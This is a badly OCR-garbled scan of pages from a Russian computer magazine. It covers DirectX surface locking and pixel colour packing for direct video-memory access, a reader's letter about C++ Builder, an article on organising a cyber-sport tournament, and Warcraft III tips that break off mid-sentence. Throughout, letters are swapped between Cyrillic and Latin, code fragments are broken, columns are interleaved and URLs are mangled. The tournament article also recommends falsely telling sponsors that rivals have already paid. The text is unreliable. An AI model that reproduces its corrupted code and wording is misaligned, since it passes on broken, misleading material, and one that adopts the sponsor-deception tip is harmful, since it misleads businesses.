РІтадеЗигіасе.Юск (піі, безе, ООЮСК ШТ, 0); //Блокировка 

ЙГаКег(аезс.Ір8иг1асе) + V * аезс.ІРЙсИ + Х*2)~ := Ѵаіие; 

РІтадеЗигіасе . ІІпІоск (піі) ;/ /Разблокировка 

епсі; 



ля получения прямого доступа к поверхности нужно вызвать ее метод 

Т) 

вызова Ыпіоск. У метода Ыск есть четыре параметра. 

1 пНпягть поверхности К которой мы хотим получить доступ. Тип параметра - 

5 Гшск згж.сж-п. п- »*— 

доступа к первичной поверхности); 

б) РРІ-ОСК ВЕАРОЖ.Ѵ - заблокировать только для чтения, 

в РРЮСК 51 ЖРАСЕМЕМОВѴРТВ - указывает на то, 
правильный указатель на верхний угол области поверхности, 
г) роюСК_Ѵ\/АІТ - если сейчас блокировка невозможна, 

поверхность не освободится; 
д\ поюСК ШІТЕОШ - блокировать только для записи. 

4. Последний параметр не используется и должен бі ™ ' ^ !,° ск у этого мет0 да 

======»= 

г» — Д-ь» "»<*»«"■ 

1 г..:» « 

разобрать его по косточкам. 



У этой процедуры всего пять параметров: 

X - позиция по горизонтали, куда надо вывести точку, 

У - у позиция по вертикали, куда надо вывести точку, 
р - значения красного цвета точки; 

О - значения зеленого цвета точки; 

В - значения голубого цвета точки. 

\Ло папамРТППК В С И В МЫ буДѲМ СОСТЭВЛЯТЬ ЦВвТ ТОЧКИ. 

Теперь перейдем к коду функции. Первым делом я обнуляю струюуру безе и в поле 
выбранной глубины цветов. 



что надо получить 
то подождать, пока 



Х^етвІМгесФгаѵ? 

Е 



ели ТЫ используешь разрешение в 8 бит (максимум, что мимо 
отобразить - 256 цветов, и то благодаря палитре), то никаких проблем. У 
тебя в памяти каждый байт - это указатель на цвет в палитре, т.е. картинка 



8x8 будет выглядеть так: 



125 002 
225 255 
125 082 
225 255 
225 255 
125 082 
225 255 
125 082 



015 121 
125 125 
015 021 
125125 
125 125 
015 021 
125 125 
015 021 



146 166 
003 168 
146 166 
003 168 
003 168 
146 166 
003 168 
146 166 



004 112 
112 036 
004 112 
112 036 
112 036 
004 112 
112 036 
004112 



Тут каждое число означает какой-то цвет. Если мы используем 
в этом режиме каждые три рядом стоящих байта дают цвет. Это 
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ІШы сп^ишбоѵ 



ІО 'и, 1 ?1 СДВИгаем переменную (3 на пять бит влево- 
(Н зиі 11)- сдвигаем В на 1 1 бит влево. 

Результаты складываются между собой и переменной В с 
логического сложения ог. 



помощью операции 



в'оГв!, > н Я п 3 ыг И а НИТе МѲНЯ 33 беспокойство - но У меня есть к Вам один вопрос 
Вы написали статью про простой сканер ресурсов на ІЭеІойі а не могли 
бы Вы помочь мне его разработать на С++ Виіібег 5.0, просжтень надо 

втарьГГнмоТз? ВСѲХ НаЗЫВаТЬ МѲНЯ Н3 ™’ Я еще СЛИШК0М мол °Л Во- 
’ ве надо извиняться, я всегда готов помочь в ответе на небольшие 
письма. Ну а теперь собственно сам ответ' 

библиотека ѴаТгТ+ТТ™" " ™ Же - В обоих пользуется одна 
оиолиотека ѴСЦ и С++ Виіісіег даже понимает и умеет компилировать код 

™ 

:= на = 

== на = 

Ьедіп на { 
епб на } 
и так далее. 



52™ дав^^ т ТрСВ) РИТ,ЛЯ В ШИРИНУ В Р 033 - В ЭТ0М ^ байта 

І а н“ьТ Р ;;ГГзГсГя Т ПРИ 16 ' бИТ Т ЦВеТе ' К0ГДа В ДВа баЙта НУЖНО 

у у р цвета, как это сделать, если два байта - это 18 ймт а іс и о о 

ГбГ«Гцвет "б Г" 4 " ° ЧеНЬ ЧаСТ ° ИСП0ЛЬЗуется 5 - 65 « 

переключІсГна пеТим чД П ° Д 3еЛеНЫЙ И 5 биТ под ™У бой - М°*но 



Прямая решись 0 видеопамять 

ге«м« 1в ,і« а: іі^ І г ,0л “ 0 ■ РВуі. - 

ТГЖ'б ГйГ" “■ * >"“» —« * » »«» 

~ г ; 



ГНзсоппесІ 



ѵаІие:-В ог (С зііі 5) ог (В зЫ 11); 



§== р ~=^ з ==-- 

'§1 




$е ес* 




Процессор А МО 
и видеокарто пѴЮІА 
Ноутбуки и стационарные 
компьютеры МАХ 5Е1ЕСТ 




\ ѵѵѵ \ ѵ . тах 5 ѲІесТ,ги • продажа и сервис по России и СНГ 
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иоуг+іск 



МУТИМ собственный чемпионат 



'9 Зіерап ІІуіп ака §1ер (5Іер@геаІ. хакер. ш) 



ИГРОВОМ ТУРНИР? КАИ ДВА БАЙТА...! 

Мутим собственный чемпионат 



Как ни читаю обзор-отчет 
о каком-нибудь чемпиона- 
те, так все время ловлю 
себя на мысли, что почти в 
каждом из них как будто по 
шаблону написано при- 
мерно следующее: «А вот 
организация подкачала, с 
этим и этим были пробле- 
мы, а этого и этого вовсе 
не было». Удивляюсь, не- 
ужели не надоело прово- 
дить любительские чемпи- 
онаты, пора бы уже под- 
няться на ступень выше и 
относиться к чемпионатам 
по компьютерным играм 
так, как это делается в 
профессиональном спор- 
те; в конце концов, ни в 
одной другой стране ки- 
берспорт не имеет офици- 
ального статуса! 



Обязательства 

Я тебе расскажу, как провести дейст- 
вительно достойный похвалы чемпи- 
онат с хорошими призами и спонсо- 
рами, поэтому вариант мини-чемпи- 
оната в каком-нибудь компьютерном 
клубе в подвале отпадает, их и так 
девать некуда. Поэтому несколько 
раз подумай, сможешь ли ты уверен- 
но общаться и убеждать в необходи- 
мости спонсировать чемпионат по 
компьютерной игре директоров раз- 
личных фирм и организаций, чтобы 
те предоставили помещение и при- 
зы, сможешь ли обговаривать все ус- 




ловия и обязательства, сможешь ли 
координировать действия своих по- 
мощников и держать под контролем 
несколько десятков участников, по- 
стоянно отвечая на множество их 
глупых вопросов. Если ты думаешь, 
что твои организаторские способнос- 
ти готовы выдержать такое испыта- 
ние, то читай нижеследующие сове- 
ты и рекомендации, и у тебя навер- 
няка все получится! 



Помещение 



Именно с выбора помещения (читай 
компьютерного клуба) я и начну, по- 
тому что именно по нему составляет- 
ся первое и самое сильное впечатле- 
ние о турнире. Выбирать его надо с 
особой тщательностью: компьютеров 
должно быть достаточно, чтобы од- 
новременно играли если не все уча- 
стники, то хотя бы половина, иначе 
чемпионат может серьезно затянуть- 
ся, а постоянные и длительные за- 
держки - больное место для игроков, 
особенно приезжих. Не забывай о 
запасных компьютерах (если какие- 
то выйдут из строя, что ОЧЕНЬ веро- 
ятно) плюс о дополнительных ком- 
пьютерах под выделенные серверы, 
без которых чаще всего не обойтись, 
а также под спектаторов (зрителей). 
Впрочем, если хочешь приятно уди- 
вить всех присутствующих, то можно 
поставить большой телевизор или 
проектор, транслирующие одну из 
игр. Не стоит забывать и о мощности 
компьютеров, одно дело - проводить 
чемпионат по ЗіагсгаЙ, и совсем дру- 
гое - по цЗ или ѴѴагЗ. Если у кого-то 
что-то будет тормозить, то ругани и 
брани не оберешься. В любом слу- 
чае выбирать достаточно просто: ес- 
ли есть много быстрых тачек - клуб 
по этому критерию подходит, если 



Вот что я называю хорошим помещением ... =) Фото с ЕшоСирЗ 



бель, ремонт, освещение, вентиля- 
ция, персонал, наличие бара и т.д. 
Здесь объяснять что-то подробнее 
излишне, просто помни, что в поме- 
щении будет много народу, и все 
должны чувствовать себя комфортно. 
Клубов сейчас, даже в самых малень- 
ких городах, предостаточно, поэтому 
при определенном усердии найти 
что-то подходящее не сложно. Другое 
дело, договориться с директорами 



тов, выйти на новый уровень, более 
того - пообещай лично объявить бла- 
годарность в прессе и Интернете. Ес- 
ли ты сделаешь все правильно и твой 
собеседник - не яркий пример зажи- 
мистого богача, то он предоставит 
тебе большую скидку на аренду по- 
мещения и компьютеров; худший же 
из приемлемых вариантов - тебе про- 
сто предоставят клуб в распоряжение 
на целый день по обычным тарифам. 



или владельцами. Здесь уже все за- 
висит от тебя, от твоего умения 
убеждать людей. Во время беседы не 
забудь сказать, что это идеальный 
вариант раскрутить клуб, повысить 
его рейтинг, привлечь новых клиен- 



же нет, то, увы, придется искать 
дальше. Вторым же, но от этого не 
менее важным критерием является 
общая атмосфера клуба, месторас- 
положение, обстановка, простор- 
ность помещения, компьютерная ме- 



і 
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Реррум 



РС 2опе 



Взлом 



Юниксоид 











Спонсоры и призы 

Взносы за участие в турнире игроков 
скорее всего даже не покроют полови- 
ны всех затрат на аренду целого ком- 
пьютерного клуба, поэтому спонсоры 
- неотъемлемый атрибут крупного 
чемпионата. Кто может быть спонсо- 
рами? Ну, во-первых, сам клуб (тогда 
проблема платы за аренду автомати- 
чески исчезает), особенно если он 
только начинает свою работу и у него 
есть большая потребность в клиентах 
и, соответственно, в рекламе; во-вто- 
рых, крупные фирмы и организации 
города, особенно отмечу крупные 
компьютерные магазины, провайдеры 
Интернета и мобильной связи, произ- 
водители пива и безалкогольных на- 
питков, а также местная пресса. Ста- 
райся быть настойчивым, но в то же 
время не назойливым, всегда доби- 
вайся встречи с начальством, а не с 
какими-нибудь «пешками», которые 
забудут все то, что ты им скажешь, 
сразу же после разговора. Не забудь 
прихватить с собой документы, уста- 
навливающие официальный статус 
компьютерному спорту; пообещай по- 
весить рекламные стенды и сделать 
ссылки в прессе и Инете, объясни, что 
на чемпионате будет много молодежи 



незначительные пожертвования, а так- 
же на различные призы типа ящика 
пива, железяк для компьютера, под- 
писки на компьютерное издание и т.д. 
Из всего этого можно скомпоновать 
неплохие призы. Более того, непло- 
хим дополнением к призу будут меда- 
ли, кубки или грамоты, последние, 
кстати, можешь сделать и сам, благо 
обойдется это в копейки, а положи- 
тельных эмоций у победивших будет 
хоть отбавляй (пример такой грамоты 
смотри на скриншоте). 






Помощники 




Грамота. Просто, но чертовски приятно =) 



и людей, интересую- 
щихся высокими тех- 
нологиями (в случае 
компьютерной фир- 
мы), то есть потенци- 
альных клиентов; на- 
вешай лапши, что все 
их конкуренты уже 
выделили средства. В 
общем, при опреде- 
ленной удаче и уме- 
нии быть убедитель- 
ным, обойдя немалый 
список фирм, хотя бы 
нескольких спонсоров 
ты найдешь. Не бойся 
соглашаться даже на 




Часть таблицы, составленной 
ОМТСі РНР 



Без помощников тебе будет очень 
тяжело, поэтому постарайся при- 
влечь заинтересованный в данном 
мероприятии народ, здесь все зави- 
сит от тебя, но не советую тебе 
брать всех подряд: двух, максимум 
трех человек хватит с головой. 



Время проведения и 
регистрация 

Идеальным временем для турнира 
будут выходные дни или длитель- 
ные праздники; если чемпионат 

однодневный - то воскре- 
сенье, если двухдневный, 
то, соответственно, суб- 
бота и воскресенье, а на- 
чинать рекомендую с ча- 
сов 11:00-12:00 (все ино- 
городние к этому време- 
ни должны добраться). 
После того как догово- 
ришься обо всем с вла- 
дельцами/директором 
клуба, сообщи дату всем 
заинтересованным ли- 
цам, а точнее спонсорам 
(чтобы те предоставили 
все необходимое вовре- 
мя) и потенциальным иг- 
рокам. Грамотно, лако- 
нично, но на 100% ин- 
формативно подготовь 
рекламный текст чемпио- 
ната, включающий в себя 
название игры, дату, вре- 
мя и место (если нужно, 
то со схемой) проведе- 
ния, краткие правила 




А вот что получилось в Шп32 
версии БМТС 

(карты, систему проведения, до- 
полнительные условия), призы, 
размер взноса за участие, а также 
етаіі или телефон для связи и 
предварительной регистрации для 
иногородних игроков. После чего 
разошли все подготовленное ньюс- 
мейкерам крупных еЗрогІ порталов, 
хотя бы ргодатег.ш и суЬегТідГіІ.ги, 




Все понятно даже ребенку 

те обязательно выложат это в но- 
востях. Если призы действительно 
достойны внимания, а также если 
тебе удастся договориться с ФКС 
(ѵѵѵѵѵѵ.субегзрогі.ги) о рейтинговом 
статусе турнира, то наверняка при- 
едут папашки из других городов, а 
это уже верный признак серьезнос- 
ти турнира. Этот же текст эффект- 
но оформи (иначе спонсоры могут 
не понять) и постарайся повесить 
во всех клубах города. Не советую 
тебе делать предварительную ре- 
гистрацию (исключение для иного- 
родних игроков), практика показала, 
что достаточно много народу может 
попросту не прийти, поэтому на- 
значь регистрацию в течение одно- 
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Вот такие удостоверения имели все участники 
чемпионата «Первые Большие Студенческие 
КИБЕР-ИГРЫ» 
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МУТИМ СОБСТВЕННЫЙ ЧЕМПИОНАТ 



'9 Зіерап ІІуіп ака §1ер (5Іер@геаІ. хакер. ш) 



го или двух часов до начала турни- 
ра. Кстати, если приехавшим из 
других городов участниками по ка- 
кой-то причине придется ночевать в 
чужом городе, подготовь для них 
хотя бы небольшой список гостиниц 
с адресами, телефонами и пример- 
ными ценами. 

Система проведения 
и жеребьевка 

В последнее время система проведе- 
ния «ОоиЫе ЕІітіпаііоп» (а также ее ус- 
ложненная модель «РиІІ ОоиЫе 



таблицу, проводить жеребьевку и экс- 
портировать результат в НТМІ_. В об- 
щем, именно то, что нам сейчас нужно. 
Если ты не сможешь выделить машину 
под постоянное отображение этой таб- 
лицы всем желающим (это важно!), то 
перечерти ее на большой кусок ватма- 
на и сделай специальный стенд, ре- 
зультат превзойдет все ожидания! 

Что можно, 
что нельзя 

Игрокам необходимо разрешить 
постоянно находиться в спектатор- 



должно быть как можно меньше на- 
роду: зеваки, крадущие кислород, 
нам не нужны, поэтому позаботься 
об охране и бэйджах для участни- 
ков и для получивших право спек- 
таторов (прессы, представители 
спонсоров и т.д.). 

Процесс пошел 

И вот, наконец, все приготовле- 
ния завершены, все участники за- 
регистрировались, результаты же- 
ребьевки известны, все в пред- 
вкушении начала игр. Пары долж- 
ны выбрать карту, на какой будут 
играть, это практически всегда 
выбирается так называемым «вы- 
черкиванием», то есть имеется 
список из, скажем, пяти карт, иг- 
роки по очереди (начинающий оп- 
ределяется жребием) вычеркива- 
ют карты, в итоге остается всего 



ни 

А далее финалы, вручение призов, 
написание отчета со всеми необхо- 
димым благодарностями для своего 
сайта, отправка результатов на круп- 
нейшие еЗрогІ ресурсы и, если есть 
возможность (а она должна быть), в 
прессу. Не забудь сделать все так, 
как обещал спонсорам, иначе мо- 
жешь забыть про их дальнейшее со- 
трудничество. 

Зачем это нужно? 

Действительно, достаточно резон- 
ный вопрос, ведь заработать на 
проведении турниров пока сложно. 
Скорее всего, это делается для са- 
мого себя, для своего «Я», для ре- 
путации в про- игровых кругах. По- 
мни, что киберспорт развивается 
немыслимыми темпами и уже не за 






Мизі Наѵе прогу для проведения турнира пеигОзоН ОМТС мо- 
жешь слить отсюда - шш. рІапеІдиакеЗ . пеІ/пеигОзоЙ/ . Сущест- 
вует бинарная версия этой проги, написанная на ѴВ, которая 
не будет работать без этого файла 

Йр. исреі ЛсЬе . Ьг/риЬ/Ріѵегзоз/Ргодгатасао/ипд иа депз/ѵЬб/оз/з 
узІет/сотсІІд32.осх . а также РНР-версия. 




Компьютер для проведения турнира по НТСѴѴ на все том же 
ѲиакеСоп 2002 




Место проведения чемпионата ѲиакеСоп 2002, в наминации диакеЗ 
которого зарешал наш питерский игрок М19 *іехег, увезя с собой 20к 
американский рублей 



ЕІітіпайоп») стала стандартом де-фак- 
то, никакие другие системы проведе- 
ния практически не признаются про- 
геймерами. В чем же ее прелесть? А в 
том, что у игрока, потерпевшего одно 
поражение, остаются шансы на победу 
в турнире, а это очень важно, потому 
что никто не застрахован от случайнос- 
тей и «непрухи». Я не буду подробно 
расписывать, что собой представляет 
эта система, потому что очень сложно 
объяснить ее на пальцах. Куда рацио- 
нальнее будет воспользоваться уни- 
кальной и суперполезной для органи- 
зации турнира программой пеигОзоЙ 
ОМТС (подробнее на врезке). Она уме- 
ет составлять прекрасную турнирную 



ской зоне (вот почему нужно про- 
сторное и хорошо вентилируемое 
помещение), иначе будет масса от- 
рицательных отзывов. Разреши 
подключение всех своих девайсов, 
а именно клавы, мышки, наушни- 
ков, подгузников =) и т.п., плюс 
под все это дело дрова. Здесь со- 
ветую заранее поставить 
МоизеѴѴаге ( Йр.ІоаіІесІт.сот/риЬ 
/Іесіізирроіі/тоизе/ ). именно ее 
чаще всего используют про-гейме- 
ры. Что не разрешается: пить 
спиртное, кушать, курить, кричать, 
ругаться, наезжать на кого-либо 
(плюс дополнить по желанию и об- 
стоятельствам). В помещении 



лишь одна - ее и играем. Этот 
процесс должен проходить в при- 
сутствии судьи/организатора или 
его помощников во избежание 
скандалов и недоразумений. А да- 
лее... далее описывать, в общем- 
то, и нечего: игры идут по сетке 
вплоть до финала. Хочется лишь 
отметить вероятные форс-мажор- 
ные обстоятельства, такие как за- 
висоны компьютеров, поломка 
оборудования и т.п. - все эти об- 
стоятельства должны решать су- 
дьи и только судьи (оспорить ко- 
торого невозможно), здесь слож- 
но дать какие-либо рекомендации 
- все очень зависит от ситуации. 

В любом случае, если участники 
обоюдно согласятся на переиг- 
ровку, то мешать им не стоит. 



горами времена, когда игровые 
дисциплины войдут в программу 
олимпийских игр, появится потреб- 
ность в комментаторах, обозрева- 
телях, организаторах и судей чем- 
пионатов =). 

Р.8. Естественно, это отнюдь 
не все, что я хотел бы расска- 
зать тебе, но, увы, объем 
статьи ограничен, поэтому на 
этом заканчиваю. Если тебя 
заинтересовала эта тема, а 
также тема проведения оп- 
Ііпе чемпионата, то пиши - 
подумаем. . . 
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УРОКИ МАСТЕРСТВА 



ИІагсгаШ 

■се секреты орегеймеров 



Перед тем, как начать чи- 
тать, ответь на один во- 
прос: что нужно уметь, 
чтобы побеждать в реал- 
таймовых стратегиях? 




а) Уметь быстро кликать мыш- 
кой на счетчике производимых 
юнитов. 

б) Уметь пошире раздвигать 
рамку выделения. 

г) Не забывать все время ата- 
ковать всеми имеющимися 
юнитами 

д) Использовать чит-коды. 



Если ты ответил утвердительно хотя 
бы на один вопрос, стоит поработать 
над техникой игры. Ты ведь хочешь 
раз за разом надирать задницу всем 
тем, кто рискнет выйти с тобой один 
на один (или стенка на стенку) на 
просторы ВаШе.пеІ (или локалки). 
Хочешь? Отлично, читай дальше. Я 
расскажу тебе некоторые секреты 
микроконтроля юнитами, объясню 
общие принципы игры, которые мо- 
гут привести тебя к победе, поведаю 
о некоторых трюках, которыми ты 
можешь удивить противника. Тем не 
менее все нижеописанные советы 
должны быть лишь опорой для твое- 
го продвижения, ведь для того, что- 
бы серьезно «подняться», нужна ог- 
ромная практика, и только твой лич- 
ный опыт и суждения научат тебя 
чувствовать игру, понимать против- 
ника и, соответственно, выигрывать. 



Советы по 
микро и макро 

Начну с объяснения терминов «мик- 
ро» и «макро», пришедших к нам еще 
со времен появления ЗіагсгаИ Мик- 
ро - умение грамотно управлять 
юнитами, выбирать необходимую 
цель, отводить раненых воинов, ис- 
пользовать нужные заклинания. Мик- 
ро в ѴѴагсгаЙ играют, пожалуй, самую 
большую роль, поэтому уделяй его 
тренировке как можно больше вре- 
мени. Словом же «макро» в ЗіагсгаЙ 
называли правильное и постоянное 
строительство юнитов и зданий. В 
ѴѴагсгаЙ оно актуально куда меньше, 
чем в ЗіагсгаЙ: лимит юнитов мень- 
ше, а пищи каждая отдельно взятая 
рожа требует больше, соответствен- 
но и зданий для постройки одного 
типа юнитов не нужно более одного, 
максимум двух; постоянное строи- 




тельство рабочих здесь не только не 
актуально, но еще и абсолютно не 
нужно (все бездельники, как ты зна- 
ешь, отображаются соответствующей 
иконкой в левом нижнем углу). 

Совет # 1 , он же 
самый банальный 

Всегда помни, что микроуправление 
юнитами в ѴѴагсгаЙ решает исход иг- 



ры, и каждый юнит ценится на вес зо- ; 
лота, поэтому во время битв с сопер- 
ником и уж тем более охоты на нейт- 
ральных юнитов, которых далее я буду І 
именовать словом «крипы» (от их анг- 
лийского названия сгеерз), стремись 
как можно к меньшим потерям. 




Не забывай, что для построения зда- 
ний и юнитов, для изучения и ис- 
пользования заклинания, а также ве- 
щей инвентаря и для прочего есть 
свои горячие клавиши. Очень важно 
запомнить их (хотя бы основные), 
потому что с их помощью ты смо- 
жешь строить войска, использовать 
различные заклинания значительно 
быстрее и чаще. 




Цены на юниты в ѴѴагсгаЙ достаточно 
высокие, поэтому ставить две или три 
казармы в самом начале абсолютно 
не нужно, более того, даже если для 
их одновременного использования у 
тебя будет достаточно средств, то 
ОЧЕНЬ скоро ты достигнешь І_оѵѵ 
иркеер с 30% налогом на содержание 
армии, что даст твоему сопернику не- 
малое преимущество. 




Если твой билд-ордер (порядок раз- 
вития) предусматривает появление 
военных юнитов до героя, то отправь 
их на разведку, особенно если сопер- 
ник играет гапсіот-ом (случайной ра- 
сой), так ты не только узнаешь его 
месторасположение, но и, возможно, 
поймешь его стратегию (для этого, 




і 
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конечно, надо тренироваться и чувст- 
вовать игру). 




ся использовать своих героев на мак- 
симум, поверь, именно их правильное 
применение играет одну из ведущих 
ролей в битвах. 



После появления героя твои войска не 
должны стоять ни минуты. Твоему ге- 
рою нужна постоянная прокачка, пото- 
му что умения героев и их уровень за- 
частую могут решить исход битвы. Не 
думаю, что тебе удастся сильно насо- 
лить врагу, используя свое раннее 
войско, поэтому идеальным и, пожа- 
луй, единственным вариантом являет- 
ся прокачка героя с момента его появ- 
ления на крипах. Замечу, что за их 
убийство дают не только опыт, но и 
деньги, весьма ощутимые для твоей 
экономики в начале игры, а некоторые 
из выпадающих предметов, в частнос- 
ти доЫіп тіпез, могут и вовсе изме- 
нить всю игру при условии их пра- 
вильного применения (об этом ниже). 




Так как твои войска бывают на базе 
крайне редко, а противник может на- 




всегда следи за героем, особенно за 
слабым (с точки зрения брони и коли- 
чества жизней), потому что потерять 
его очень легко, а вот восстановить 
его займет не только время, но и 
деньги (стоимость и время восстанов- 
ления зависят от его уровня). Если его 
безнадежно зажали со всех сторон, то 
воспользуйся свитком телепортации, 
это единственный выход. 




Как ни банально, но используй любую 
возможность убить героя/героев сопер- 
ника. Для этого лучше всего использо- 
вать зреІІ-ы юнитов или героев, кото- 
рые тормозят или еще лучше вовсе ос- 
танавливают героя. Например, ЗІеер 
ОгеасІІюгсІ-а, Зіогт ВоІІ Моипіаіп Кіпд-а, 
ЗІоѵѵ Зогсегезз-ов или ОгуасІ-ами. Оглу- 




пасть внезапно, то я тебе советую по- 
ставить хотя бы одно оборонительное 
сооружение: хороший игрок, скорее 
всего, не пойдет на твои башни. По- 
следние необходимо ставить в труд- 
нодоступных местах, тем не менее 
они должны держать в радиусе своей 
атаки как можно больше (в идеале - 
все) здания. Если же соперник все-та- 
ки решил напасть, то немедленно воз- 
вращайся на базу (в тяжелом случае 
используй свиток портала) и отправ- 
ляй рабов на починку атакуемых зда- 
ний, в частности - оборонительных со- 
оружений. Все описанное актуально и 
для твоих леваков (дополнительных 
баз), на которых без двух-трех башен 
ну просто не обойтись. 




В последнее время наличие 2-х геро- 
ев стало стандартом, чуть реже ис- 
пользуются комбинация из 3-х, но в 
любом случае стоящий на месте герой 
и уж тем более два - это хуже, чем 
бездействующий левак. Ты никогда не 
1 будешь выигрывать, если не научишь- 




шив одним из этих способов героя про- 
тивника, стремись окружить его со всех 
сторон и, не давая выйти, убей его. 




Есть два типа юнитов: теіее, которые 
дерутся непосредственно рядом с 



вражескими, и гапде, которые, как не 
сложно догадаться, стреляют с неко- 
торого расстояния. Дураку понятно, 
что последние должны стоять сзади, 
прикрывая дерущихся теіее юнитов. 
Отсюда следует следующий совет. 




Если ты видишь, что у соперника 
хорошее гапде прикрытие, то стре- 



мись подойти к нему (прикрытию) 
вплотную, так как большинство 
юнитов, стреляющих на расстоя- 
ние, имеют небольшое количество 
жизней, и их достаточно легко 
уничтожить. Если же среди них есть 
осадные орудия (катапульты, бал- 
листы, тогіег-ы и теаіѵѵадоп-ы), то 
причина еще очевиднее, они про- 
сто не могут стрелять по целям, на- 
ходящимся в непосредственной 
близи с ними. 




Если решил использовать осадные 
орудия, то не поленись взять несколь- 
ко рабочих и поставить автоматичес- 
кий ремонт (любое автодействие ста- 




Если на карте есть фонтан жизни 
(Роипіаіп о{ НеаШі), то обязатель- 
но пользуйся им. В начале игры, 
когда фонтан еще никто не зачис- 
тил от нейтральных монстров, им 
можно воспользоваться ночью, 
когда крипы спят. Поэтому не за- 





вить нажатием правой кнопки мыши 
по иконке заклинания или, как в на- 
шем случае, иконке ремонта). 




Во время битвы выделяй мышкой 
все свои войска, это даст тебе пол- 
ную картину о количестве НР (жиз- 
ней) у твоих юнитов. Раненых необ- 
ходимо либо лечить, либо немного 
отводить. Когда ты отводишь ране- 
ного юнита, вражеские войска не по- 
бегут за ним, если, конечно, им это 
не прикажут, а начнут драться с дру- 
гими, здоровыми, а твой раненый, 
как ни в чем не бывало, вернется и 
будет продолжать бой уже в относи- 
тельной безопасности. 




Если у тебя в группе несколько типов 
юнитов, то для того, чтобы выбрать од- 
ного из них, с помощью его иконки 
внизу необходимо нажать по его порт- 
рету 2 (!) раза, если же кликнешь толь- 
ко один, то выделятся все юниты вы- 
бранного типа. Это очень важно для 
правильного микроуправления, осо- 
бенно при отводе коцаных воинов. Бо- 
лее того, отходя, не забывай придер- 
живать клавишу аіі, чтобы все юниты 
шли со своей максимальной скоростью 
(иначе вся группа пойдет со скоростью 
самого медленного ее представителя). 



бывай об этой возможности, ведь 
на ранней стадии игры потеря лю- 
бого юнита - целая трагедия. Но 
ни в коем случае не направляйся 
к фонтану всей толпой из-за од- 
ного или двух раненых воинов, 
это грубейшая ошибка - отправ- 
ляй только тех, которые нуждают- 
ся в лечении, и не забудь отде- 
лить их от забинденной группы! 
Кстати, если видишь, что у фонта- 
на лечится несколько юнитов со- 
перника, то аккуратно разбуди ох- 
раняющих фонтан монстров и де- 
лай ноги =). 




Все твои герои доступны на клави- 
шах Р1-РЗ, что же касается войск, 
то их необходимо биндить (назна- 
чать на клавиши) самому. Делается 
это, как и во многих других ВТ8. 
Выделяешь некоторое количество 
юнитов (максимум 12) и, зажимая 
СТВІ_, нажимаешь на одну из цифр. 
Ура! Теперь они доступны на назна- 
ченной тобой цифре. Здесь же сто- 
ит отметить, что забиндить можно 
(а часто и нужно) не только отряды, 
но и здания. Лично я, да и множе- 
ство других игроков, активно ис- 
пользую эту возможность, на- к 
значая на клавиши как минимум §1 
здания, производящие юниты. “7 
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Не стоит терять войско просто так, по- 
этому не спеши лезть на высокоуров- 
невых крипов и уж тем более на более 
многочисленное войско соперника. 
Если последний провоцирует тебя на 
битву, то отходи на базу, где тебя бу- 
дут прикрывать уже построенные баш- 
ни, а также бонусы твоей расы (леча- 
щие тооп ѵѵеІІ-ы эльфов, стреляющие 
огс Ьиггоѵѵз орков, песгороііз ипсіеасі- 
ов, тіІШа людей). Поверь, иногда от- 
ступления - это единственный и са- 
мый правильный выбор. Необходимо 
здраво оценивать свои силы, чувство- 
вать игру, но для этого необходима 
немалая практика. 




Ни для кого не секрет, что в любой 
стратегии грамотная разведка играет 
огромную роль. ѴѴагсгаЙЗ - не исклю- 
чение, и нужно с самого начала игры 
представлять себе, по какой страте- 
гии решил играть противник. Если 
тот идет на высокотехнологичных 
юнитах, то можно попробовать выне- 
сти его, пока он еще ничего не име- 
ет, или, по крайней мере, готовить 
противоядие; если же его войско, на- 
против, состоит из воинов 1 -го-2-го 
уровня, то можно самому пойти в М- 
ІесИ, например, в воздух, хотя зло- 
употреблять этим не советую, нужно 
постоянно проверять все шахты на 
наличие леваков противника; чем 
раньше ты его заметишь, тем больше 
шансов, что он еще не будет защи- 
щен или еще лучше вовсе не достро- 
ен. Теперь о том, как же вести раз- 
ведку? В начале игры идеальным 
способом будет рабочий или первые 
военные юниты (до появления героя), 
далее можно использовать более эк- 
зотические методы, например, ис- 
пользовать различные вызываемые 
юниты, такие как волки Рагзеаг-а, ил- 
люзии Віасіетазіег-а, водяные эле- 
менталы АгсШад-а, а также деревья 
Кеерег 01 ТМе Сгооѵе-а. Отличными 
способами разведки и контроля над 
действиями врага являются также 
Сгузіаі ВаІІ и ЗепТгу ѴѴагсІз, последние 
я советую поставить на все ключевые 
точки на карте. Не забывай также о 
возможности ВеѵеаІ (50 монет за 
один просвет) в мастерских гоблина, 
особенно если финансы позволяют. 




і Если получилось так, что инвентарь 
і полон, а оставлять какую-либо вещь 
; врагу не хочется, то знай: призовые 
і ящики можно без труда уничтожить, 

■ используя кнопку «атаковать». 




Всегда покупай ѴѴапсІ оі №даІіоп, с 
его помощью ты всегда сможешь из- 
бавиться от вызванных юнитов и нега- 
тивных заклинаний на твои юниты. Иг- 
ру без этого предмета против хороше- 
го андеда можно считать самоубийст- 
вом (ты когда-нибудь видел целый эк- 
ран скелетов?). 

Старайся всегда иметь при себе ЗсгоІІ 
оі РгоШіоп и особенно ЗсгоІІ оі 
Неаііпд. Их правильное применение 
может решить исход битвы! Более то- 
го, если на карте нет фонтана жизни, 
то свиток лечения - единственный 
способ быстро вылечить свои юниты. 




Постоянные диверсии на базе против- 
ника - это способ не только выиграть, 
но и вывести его из себя, поэтому не 
поленись построить несколько осадных 




юнитов и периодически летать с ними 
на дирижабле. Кстати, можешь вос- 
пользоваться такой фишкой: высади 
юниты на базе противника, но стреляй 
не по зданиям/юнитам, а в лес, чтобы 
там образовалась небольшая поляна, 
на которую можно высадить свои ката- 
пульты. Противнику придется попотеть, 
чтобы вычистить их оттуда. 




Если в качестве приза за убийство 
нейтральных юнитов тебе выпадут 
СоЫіп ІапсІ Міпез, то можно сказать, 
что игру ты выиграл. Просто поставь 
эти мины вокруг главного здания про- 
тивника и спровоцируй их детониро- 
вание. Б-у-у-м, и нет главного и окру- 
жающих его зданий, нет рядом стояв- 
ших юнитов, нет денег. СС. Прочитав 
статью, написанную папкой бета-вер- 
сии СгагуЛт-ом (Ігйр://ѵѵѵѵѵѵ.ѵѵагсгаіі- 
5ІгаІеду.сотДеаШге/Сга2уЛт/020730.а 
зр), ты познаешь все хитрости исполь- 
зования мин, а изучив предлагаемые 
схемы, ты в следующий раз без труда 
найдешь именно тех крипов, за кото- 
рых можно получить этот артефакт, в 
народе получивший статус «сітеаі». 



Ночью радиус обзора юнитов значи- 
тельно меньше, чем днем, поэтому 
катапульты не могут автоматически 
стрелять по башням с безопасного 
расстояния. Поэтому проверни такой 
трюк: пробеги каким-нибудь юнитом 
